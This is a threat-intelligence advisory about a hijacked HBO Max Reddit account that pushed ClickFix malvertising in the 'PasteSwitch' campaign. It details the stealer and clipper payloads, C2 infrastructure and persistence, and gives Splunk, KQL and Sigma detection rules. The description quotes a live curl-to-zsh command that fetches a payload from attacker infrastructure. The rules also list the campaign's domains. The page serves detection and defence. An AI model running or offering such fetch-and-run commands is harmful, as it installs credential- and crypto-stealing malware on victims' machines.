# Compromised HBO Max Reddit Account Distributes ClickFix Malware in "PasteSwitch" Cross-Platform Malvertising Campaign

> Attackers hijacked the verified HBO Max Reddit account (u/hbomax) and used it to push 108 malicious advertisements over roughly 48 hours, luring victims with a fake "HBO Max for macOS" app and other themes into ClickFix-style copy-paste Terminal/PowerShell commands. Hudson Rock and ADAMnetworks linked the incident to a wider cross-platform operation dubbed "PasteSwitch" that delivers infostealers, loaders, cryptocurrency clippers, and fake crypto-wallet apps to Windows and macOS victims, using Binance Smart Chain contracts as mutable C2 dead-drops.

- **Published:** 2026-09-14T00:00:00Z
- **Last reviewed:** 2026-09-15T00:20:37.765Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2506
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-pasteswitch-hbo-max-clickfix-tl-2026-2506.webp?v=058fcf2d (Threadlinqs threat intel: HBO Max Reddit Hijacked for PasteSwitch ClickFix Delivery (TL-2026-2506) — High severity, 39 IOCs, 9 detection rules.)
- **ID:** TL-2026-2506
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 39 (3 shown free below)

## Description

On or before September 6, 2026, unknown attackers compromised the official, verified HBO Max account on Reddit (u/hbomax) and used it to run 108 distinct malicious advertisements over a roughly 48-hour blitz. The ads split across five lure themes: a non-existent "HBO Max for macOS" application (40 ads, hbomaxx[.]app), a fake OpenAI Codex developer tool (36 ads, codex-craft[.]com), a macOS disk-cleaning utility (15 ads, apple.clean-disk-guide[.]com), another developer-tool lure (11 ads, code-desktop[.]com), and an HBO Max-macOS variant (6 ads, hbomax-macos[.]com). Clicking an ad routed victims to a landing page (hbomaxx[.]us) that displayed a fake CAPTCHA/download flow ending in ClickFix instructions: a prompt to copy an attacker-supplied one-liner and paste it into macOS Terminal or the Windows Run/PowerShell prompt to 'fix' or 'install' something, which instead executed malware under the victim's own account, bypassing file-download security warnings entirely.

Security researchers at Hudson Rock, working with Kirk of ADAMnetworks (credit also to Tuxxin of Whack.sh and Emiliano of The Matrix Project), traced the incident to a much larger, longer-running operation they named 'PasteSwitch' — a reference to the attacker-supplied paste-and-run commands combined with a backend that dynamically switches lures, platforms, payloads, and theft methods per visitor. On macOS, the observed command pattern was a Base64-flavored curl-to-shell one-liner (e.g. `export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge.com/curl/a44a37519au/setup.sh"| zsh`) that staged MacSync (a stealer that exfiltrates browser credentials, Firefox/Gecko profiles, Telegram data, Apple Notes, and macOS keychain/password data via a /tmp/osalogging.zip staging archive) and an 'AMOS Helper' component related to the Atomic macOS Stealer (AMOS) family, which uses `xattr -c` and `chmod +x` to run native helpers persisting under a launch-agent label masquerading as `.com.apple.accountsd`, enrolling victims through a `/api/join/` endpoint and later polling `/api/tasks/` on 45.94.47.204.

On Windows, the chain used `mshta` and PowerShell to pull MP3/HTA polyglot files that built scheduled tasks, disabled AMSI, and used arithmetic-fog/opaque-predicate obfuscation to inject the Amatera Stealer PE directly into memory without writing to disk. The observed Amatera sample connected out to 77.91.65.13:443 while presenting facebook.com through its TLS SNI and HTTP Host header to blend in with legitimate traffic. Additional payloads included the InstallFix Windows loader, and — for crypto-focused lures — Swift-built counterfeit Ledger Live, Trezor Suite, and Exodus wallet applications engineered to harvest 12- and 24-word BIP39 recovery phrases, plus the AnimateClipper and ZigClipper clipboard-hijacking families that silently swap a copied cryptocurrency address for an attacker-controlled one.

The clippers' most distinctive feature is their command-and-control design: rather than hardcoding a domain, they query Binance Smart Chain (BSC) smart contracts that function as mutable, attacker-updatable 'dead drops' resolving to the currently active C2 domain. Between March and July 2026, researchers tracked 36 separate mainnet contract updates issued from the same controller wallet address, letting operators rotate burned domains without needing to re-compromise delivery infrastructure or touch the malware binaries themselves. Despite the disposable, rotating front-end lures and domains, researchers found the operation's backend consistent across months — the same route grammar, API/helper identifiers, telemetry endpoints, staging conventions, and persistence paths recurred across campaigns, indicating a single organized operation rather than copycats.

Reddit paused the compromised account's ads and referred the incident to its Security and Safety teams after being notified; Warner Bros. Discovery did not respond to press inquiries about how the account was compromised or who was responsible. No CVE applies — this is a social-engineering and account-takeover campaign, not a software vulnerability.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1586 Compromise Accounts
- T1204 User Execution
- T1059 Command and Scripting Interpreter
- T1218 System Binary Proxy Execution
- T1543 Create or Modify System Process
- T1053 Scheduled Task/Job
- T1685 Disable or Modify Tools
- T1027 Obfuscated Files or Information
- T1055 Process Injection
- T1555 Credentials from Password Stores
- T1082 System Information Discovery
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1657 Financial Theft
- T1608 Stage Capabilities
- T1547 Boot or Logon Autostart Execution
- T1562 Impair Defenses
- T1620 Reflective Code Loading
- T1560 Archive Collected Data
- T1102 Web Service
- T1041 Exfiltration Over C2 Channel

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**ClickFix Malvertising Paste-and-Run Execution (PasteSwitch)** (`TL-2026-2506-SPL-001`)

Detects the PasteSwitch/ClickFix infection trigger across macOS and Windows: a victim pastes an attacker-supplied one-liner from a malicious HBO Max-themed Reddit ad (or a related PasteSwitch lure) into Terminal or the Windows Run/PowerShell prompt. On macOS this is an env-var-prefixed curl-to-shell command piping a setup script from PasteSwitch delivery infrastructure (e.g. ember-bridge.com) directly into zsh/bash; on Windows it is mshta.exe or an encoded PowerShell command line referencing the same rotating lure domains (hbomaxx[.]us/.app, hbomax-macos.com, codex-craft.com, apple.clean-disk-guide.com, code-desktop.com, loop-lumen.com, filequanticore.com, arkypc.com). Covers the malvertising resource-development stage (T1583, T1586.001) through to user-driven execution (T1204.004, T1059.001, T1218.005).

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1583, T1586.001, T1204.004, T1059.001, T1218.005
- **Data sources:** osquery process_events (macOS), macOS Unified Logging (es_events), Microsoft Defender for Endpoint (DeviceProcessEvents), Windows Sysmon Event ID 1
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
| multisearch
    [ search index=macos sourcetype="osquery:results" table_name=process_events
      | where match(process_cmdline, "(?i)^export\s+\w+=[a-f0-9]{6,};.*curl\s+-sL.*\|\s*(zsh|bash|sh)\b")
         OR match(process_cmdline, "(?i)curl\s+-sL\s+\"https?://(ember-bridge|hbomaxx|hbomax-macos|codex-craft|apple\.clean-disk-guide|code-desktop|loop-lumen|filequanticore|arkypc)\.[a-z]+/curl/")
      | eval os="macos", cmdline=process_cmdline, proc=process_name, parent=parent_process_name, risk_reason="clickfix_terminal_paste_and_run" ]
    [ search index=windows sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\mshta.exe"
      | where match(CommandLine, "(?i)(ember-bridge|hbomaxx|hbomax-macos|codex-craft|apple\.clean-disk-guide|code-desktop|loop-lumen|filequanticore|arkypc)\.[a-z]+")
      | eval os="windows", cmdline=CommandLine, proc=Image, parent=ParentImage, risk_reason="clickfix_mshta_paste_and_run" ]
| table _time, host, os, user, parent, proc, cmdline, risk_reason
| sort -_time
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where (FileName in~ ("zsh", "bash", "sh") and ProcessCommandLine has "curl" and ProcessCommandLine has_any ("ember-bridge.com", "hbomaxx.us", "hbomaxx.app", "hbomax-macos.com", "codex-craft.com", "apple.clean-disk-guide.com", "code-desktop.com", "loop-lumen.com", "filequanticore.com", "arkypc.com"))
   or (FileName =~ "mshta.exe" and ProcessCommandLine has_any ("ember-bridge.com", "hbomaxx.us", "hbomaxx.app", "hbomax-macos.com", "codex-craft.com", "apple.clean-disk-guide.com", "code-desktop.com", "loop-lumen.com", "filequanticore.com", "arkypc.com"))
   or (FileName =~ "powershell.exe" and (ProcessCommandLine has "-enc" or ProcessCommandLine has "-EncodedCommand") and InitiatingProcessParentFileName has_any ("explorer.exe", "msedge.exe", "chrome.exe", "firefox.exe"))
| project Timestamp, DeviceName, DeviceOSPlatform, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc
```

### Sigma

```yaml
title: ClickFix Copy-Paste Malware Execution via macOS Terminal (PasteSwitch)
id: 7f3a9c2e-4b1d-4e8a-9c6f-1a2b3c4d5e01
status: experimental
description: Detects the PasteSwitch/ClickFix malvertising pattern where a victim pastes an attacker-supplied, env-var-prefixed curl-to-shell one-liner into Terminal, downloading and piping a setup script from PasteSwitch delivery infrastructure directly into zsh/bash. Companion Windows execution (mshta.exe/PowerShell) for the same campaign is covered by the paired SPL/KQL detections in this set.
references:
    - https://www.bleepingcomputer.com/news/security/hackers-hijack-hbo-max-reddit-account-to-push-malware-in-clickfix-ads/
    - https://www.infostealers.com/article/hbo-max-ads-on-a-compromised-reddit-account-exposed-a-massive-pasteswitch-clickfix-operation/
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-09-14
tags:
    - attack.resource-development
    - attack.t1583
    - attack.t1586.001
    - attack.execution
    - attack.t1204.004
    - attack.tool.pasteswitch
logsource:
    category: process_creation
    product: macos
detection:
    selection_envprefix:
        CommandLine|re: '(?i)^export\s+\w+=[a-f0-9]{6,};.*curl\s+-sL.*\|\s*(zsh|bash|sh)\b'
    selection_domains:
        CommandLine|contains:
            - 'ember-bridge.com'
            - 'hbomaxx.us'
            - 'hbomaxx.app'
            - 'hbomax-macos.com'
            - 'codex-craft.com'
            - 'apple.clean-disk-guide.com'
            - 'code-desktop.com'
            - 'loop-lumen.com'
            - 'filequanticore.com'
            - 'arkypc.com'
    condition: selection_envprefix or selection_domains
falsepositives:
    - Legitimate internally-authored bootstrap/install scripts that set an environment variable before a curl-to-shell install
    - Homebrew or vendor install one-liners piping curl output to a shell against a benign, allow-listed domain
level: high
```

**Known false positives:**

- Legitimate internally-authored curl-to-shell bootstrap/install scripts unrelated to PasteSwitch domains
- IT-authored HTA/PowerShell deployment tooling using mshta.exe for legitimate remote administration

**Tuning notes:** Refresh the PasteSwitch domain watchlist regularly (hbomaxx.us/.app, hbomax-macos.com, codex-craft.com, apple.clean-disk-guide.com, code-desktop.com, ember-bridge.com, loop-lumen.com, filequanticore.com, arkypc.com) using OSINT corroboration (TL_OSINT_Scan/tweetfeed); arkypc.com already carries 2 independent community sightings (tagged payload_delivery/Unknown Stealer), which raises confidence to high whenever it recurs.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- ClickFix Malvertising Paste-and-Run Execution (PasteSwitch) (locked: unlock with TL Creds)
- AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) (locked: unlock with TL Creds)
- PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging (locked: unlock with TL Creds)
- ClickFix Malvertising Paste-and-Run Execution (PasteSwitch) (locked: unlock with TL Creds)
- AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) (locked: unlock with TL Creds)
- PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging (locked: unlock with TL Creds)
- AMOS Helper / InstallFix Post-Exploitation Persistence and Defense Evasion (PasteSwitch) (locked: unlock with TL Creds)
- PasteSwitch C2 Callback — AMOS Helper Polling, Amatera SNI Spoofing, and MacSync Exfil Staging (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 39)

Defanged, TLP:CLEAR.

- IP address: `77.91.65[.]13`
- Domain: `hbomaxx[.]us`
- File hash: `eec09815c3664aa6b3cd370a8b8f566be3b804949cfc514f145262136898b009`

Full set of 39 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [HBO Max Reddit account compromised to serve ClickFix attacks](https://www.theregister.com/cyber-crime/2026/09/14/hbo-max-reddit-account-compromised-to-serve-clickfix-attacks/5296408)
- [Hackers hijack HBO Max Reddit account to push malware in ClickFix ads](https://www.bleepingcomputer.com/news/security/hackers-hijack-hbo-max-reddit-account-to-push-malware-in-clickfix-ads/)
- [HBO Max ads on a compromised Reddit account exposed a massive PasteSwitch ClickFix operation](https://www.infostealers.com/article/hbo-max-ads-on-a-compromised-reddit-account-exposed-a-massive-pasteswitch-clickfix-operation/)
- [PasteSwitch: 108 crypto-theft ads on a hijacked HBO Max Reddit account](https://dev.to/tuxxin/pasteswitch-108-crypto-theft-ads-on-a-hijacked-hbo-max-reddit-account-2a45)
- [ClickFix attacks are tricking Mac and Windows users into hacking themselves](https://techcrunch.com/2026/09/14/clickfix-attacks-are-tricking-mac-and-windows-users-into-hacking-themselves/)
- [Compromised HBO Max Reddit Account Served PasteSwitch ClickFix Malware Ads](https://mallory.ai/stories/01a0a079-0d9c-79d1-9d8f-e76c02c256ea)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2506